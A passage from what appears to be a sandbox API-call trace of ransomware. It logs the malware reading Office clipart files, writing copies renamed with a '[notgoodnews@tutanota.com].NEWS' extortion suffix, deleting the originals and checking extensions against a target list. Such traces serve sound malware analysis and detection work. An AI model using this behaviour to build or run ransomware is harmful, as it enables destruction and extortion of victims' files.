hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=26160) returned 1 [0091.210] CloseHandle (hObject=0x354) returned 1 [0091.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220 [0091.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.210] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.210] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0091.211] GetLastError () returned 0x0 [0091.211] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x6630, lpOverlapped=0x0) returned 1 [0091.213] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x6640, lpOverlapped=0x0) returned 1 [0091.214] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.214] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.214] SetEndOfFile (hFile=0x308) returned 1 [0091.214] CloseHandle (hObject=0x308) returned 1 [0091.214] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.214] SetEndOfFile (hFile=0x354) returned 1 [0091.215] CloseHandle (hObject=0x354) returned 1 [0091.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0091.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0091.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0091.216] lstrlenW (lpString=".doc") returned 4 [0091.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.216] lstrlenW (lpString=".docx") returned 5 [0091.216] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0091.216] lstrlenW (lpString=".pdf") returned 4 [0091.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.216] lstrlenW (lpString=".xls") returned 4 [0091.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.216] lstrlenW (lpString=".xlsx") returned 5 [0091.216] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0091.216] lstrlenW (lpString=".ppt") returned 4 [0091.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0091.216] lstrlenW (lpString=".zip") returned 4 [0091.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.216] lstrlenW (lpString=".rar") returned 4 [0091.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.216] lstrlenW (lpString=".bz2") returned 4 [0091.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.216] lstrlenW (lpString=".7z") returned 3 [0091.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0091.217] lstrlenW (lpString=".dbf") returned 4 [0091.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0091.217] lstrlenW (lpString=".1cd") returned 4 [0091.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0091.217] lstrlenW (lpString=".jpg") returned 4 [0091.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0091.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0091.217] lstrlenW (lpString=".doc") returned 4 [0091.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.217] lstrlenW (lpString=".docx") returned 5 [0091.217] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0091.217] lstrlenW (lpString=".pdf") returned 4 [0091.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.217] lstrlenW (lpString=".xls") returned 4 [0091.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.217] lstrlenW (lpString=".xlsx") returned 5 [0091.217] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0091.217] lstrlenW (lpString=".ppt") returned 4 [0091.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0091.217] lstrlenW (lpString=".zip") returned 4 [0091.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.217] lstrlenW (lpString=".rar") returned 4 [0091.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.217] lstrlenW (lpString=".bz2") returned 4 [0091.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.217] lstrlenW (lpString=".7z") returned 3 [0091.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0091.217] lstrlenW (lpString=".dbf") returned 4 [0091.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0091.218] lstrlenW (lpString=".1cd") returned 4 [0091.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0091.218] lstrlenW (lpString=".jpg") returned 4 [0091.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.218] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.218] lstrlenW (lpString="J0099159.WMF") returned 12 [0091.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.218] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=27546) returned 1 [0091.219] CloseHandle (hObject=0x354) returned 1 [0091.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 0x220 [0091.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.219] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.219] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0091.219] GetLastError () returned 0x0 [0091.220] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x6b9a, lpOverlapped=0x0) returned 1 [0091.221] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x6ba0, lpOverlapped=0x0) returned 1 [0091.222] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.222] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.223] SetEndOfFile (hFile=0x308) returned 1 [0091.223] CloseHandle (hObject=0x308) returned 1 [0091.223] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.223] SetEndOfFile (hFile=0x354) returned 1 [0091.224] CloseHandle (hObject=0x354) returned 1 [0091.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0091.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0091.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0091.224] lstrlenW (lpString=".doc") returned 4 [0091.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.224] lstrlenW (lpString=".docx") returned 5 [0091.224] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0091.224] lstrlenW (lpString=".pdf") returned 4 [0091.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.224] lstrlenW (lpString=".xls") returned 4 [0091.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.225] lstrlenW (lpString=".xlsx") returned 5 [0091.225] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0091.225] lstrlenW (lpString=".ppt") returned 4 [0091.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0091.225] lstrlenW (lpString=".zip") returned 4 [0091.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.225] lstrlenW (lpString=".rar") returned 4 [0091.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.225] lstrlenW (lpString=".bz2") returned 4 [0091.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.225] lstrlenW (lpString=".7z") returned 3 [0091.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0091.225] lstrlenW (lpString=".dbf") returned 4 [0091.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0091.225] lstrlenW (lpString=".1cd") returned 4 [0091.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0091.225] lstrlenW (lpString=".jpg") returned 4 [0091.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0091.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0091.225] lstrlenW (lpString=".doc") returned 4 [0091.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.225] lstrlenW (lpString=".docx") returned 5 [0091.225] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0091.225] lstrlenW (lpString=".pdf") returned 4 [0091.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.225] lstrlenW (lpString=".xls") returned 4 [0091.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.225] lstrlenW (lpString=".xlsx") returned 5 [0091.225] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0091.225] lstrlenW (lpString=".ppt") returned 4 [0091.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0091.226] lstrlenW (lpString=".zip") returned 4 [0091.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.226] lstrlenW (lpString=".rar") returned 4 [0091.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.226] lstrlenW (lpString=".bz2") returned 4 [0091.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.226] lstrlenW (lpString=".7z") returned 3 [0091.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0091.226] lstrlenW (lpString=".dbf") returned 4 [0091.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0091.226] lstrlenW (lpString=".1cd") returned 4 [0091.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68 [0091.226] lstrlenW (lpString=".jpg") returned 4 [0091.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.226] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0091.226] lstrlenW (lpString="J0099160.JPG") returned 12 [0091.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.226] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=15145) returned 1 [0091.226] CloseHandle (hObject=0x354) returned 1 [0091.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220 [0091.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.227] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.227] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0091.227] GetLastError () returned 0x0 [0091.227] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x3b29, lpOverlapped=0x0) returned 1 [0091.513] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x3b30, lpOverlapped=0x0) returned 1 [0091.514] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.514] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.514] SetEndOfFile (hFile=0x308) returned 1 [0091.515] CloseHandle (hObject=0x308) returned 1 [0091.515] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.515] SetEndOfFile (hFile=0x354) returned 1 [0091.516] CloseHandle (hObject=0x354) returned 1 [0091.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.516] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0091.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0091.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0091.516] lstrlenW (lpString=".doc") returned 4 [0091.516] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.516] lstrlenW (lpString=".docx") returned 5 [0091.516] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0091.516] lstrlenW (lpString=".pdf") returned 4 [0091.516] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.516] lstrlenW (lpString=".xls") returned 4 [0091.516] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.516] lstrlenW (lpString=".xlsx") returned 5 [0091.517] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0091.517] lstrlenW (lpString=".ppt") returned 4 [0091.517] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0091.517] lstrlenW (lpString=".zip") returned 4 [0091.517] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.517] lstrlenW (lpString=".rar") returned 4 [0091.517] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.517] lstrlenW (lpString=".bz2") returned 4 [0091.517] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.517] lstrlenW (lpString=".7z") returned 3 [0091.517] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0091.517] lstrlenW (lpString=".dbf") returned 4 [0091.517] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0091.517] lstrlenW (lpString=".1cd") returned 4 [0091.517] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0091.517] lstrlenW (lpString=".jpg") returned 4 [0091.517] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0091.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0091.517] lstrlenW (lpString=".doc") returned 4 [0091.517] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.517] lstrlenW (lpString=".docx") returned 5 [0091.517] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0091.517] lstrlenW (lpString=".pdf") returned 4 [0091.517] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.517] lstrlenW (lpString=".xls") returned 4 [0091.517] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.517] lstrlenW (lpString=".xlsx") returned 5 [0091.517] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0091.517] lstrlenW (lpString=".ppt") returned 4 [0091.517] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0091.518] lstrlenW (lpString=".zip") returned 4 [0091.518] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.518] lstrlenW (lpString=".rar") returned 4 [0091.518] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.518] lstrlenW (lpString=".bz2") returned 4 [0091.518] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.518] lstrlenW (lpString=".7z") returned 3 [0091.518] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0091.518] lstrlenW (lpString=".dbf") returned 4 [0091.518] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0091.518] lstrlenW (lpString=".1cd") returned 4 [0091.518] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0091.518] lstrlenW (lpString=".jpg") returned 4 [0091.518] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.518] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.518] lstrlenW (lpString="J0099173.WMF") returned 12 [0091.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0091.519] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=37140) returned 1 [0091.519] CloseHandle (hObject=0x354) returned 1 [0091.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220 [0091.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft 